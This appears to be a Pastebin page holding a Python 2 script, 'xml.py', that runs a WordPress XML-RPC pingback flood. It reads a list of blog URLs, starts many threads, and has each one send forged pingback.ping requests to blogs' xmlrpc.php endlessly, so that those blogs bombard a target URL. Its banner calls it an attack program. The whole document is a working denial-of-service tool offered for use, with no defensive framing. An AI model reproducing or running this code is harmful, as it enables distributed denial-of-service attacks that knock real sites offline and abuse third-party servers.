Advertisement
TP2K1

xml.py

May 30th, 2015
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. #PT47 ( deskdubstep)
  2. #!/usr/bin/python
  3. import sys
  4. import socket
  5. import threading
  6. import time
  7. import os
  8. import re
  9. Lock = threading.Lock()
  10. def main():
  11. try:
  12. in_file = open("xml.txt","r")
  13. except:
  14. raw_input('You need a list.txt file to work')
  15. sys.exit(0)
  16. print '\Chuong Trinh Dang Tan Cong by Phuoc Thanh\n'
  17. url = sys.argv[1]
  18. num_thread = int(sys.argv[2])
  19. if url.count("/")==2:
  20. url = url + "/"
  21. m = re.search('http\://([^/]*)/?.*', url)
  22. host = m.group(1)
  23. for i in range(num_thread):
  24. for t in range(100):
  25. try:
  26. in_line = in_file.readline()
  27. Thread1(url, i+1, in_line).start()
  28. in_line = in_line[:-1]
  29. except:
  30. pass
  31. time.sleep(3)
  32.  
  33.  
  34. class Thread1(threading.Thread):
  35. def __init__(self, url, number, blog):
  36. self.url = url
  37. self.number = number
  38. self.blog = blog
  39. threading.Thread.__init__(self)
  40.  
  41. def run(self):
  42. Lock.acquire()
  43. #print 'Starting thread #%s'%self.number
  44. Lock.release()
  45. function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>"%(self.url, self.blog)
  46. request_lenght = len(function_pingback)
  47. try:
  48. self.blog_cleaned = self.blog.split("?p=")[0]
  49. self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
  50. except:
  51. sys.exit(0)
  52. request = "POST %s/xmlrpc.php HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
  53. while True:
  54. time.sleep(3)
  55. try:
  56. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
  57. s.connect((self.blog_cleaned1, 80))
  58. s.send(request)
  59. print self.blog_cleaned1+" connect " + self.url
  60. except:
  61. print 'Error'
  62. ok = 0
  63. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement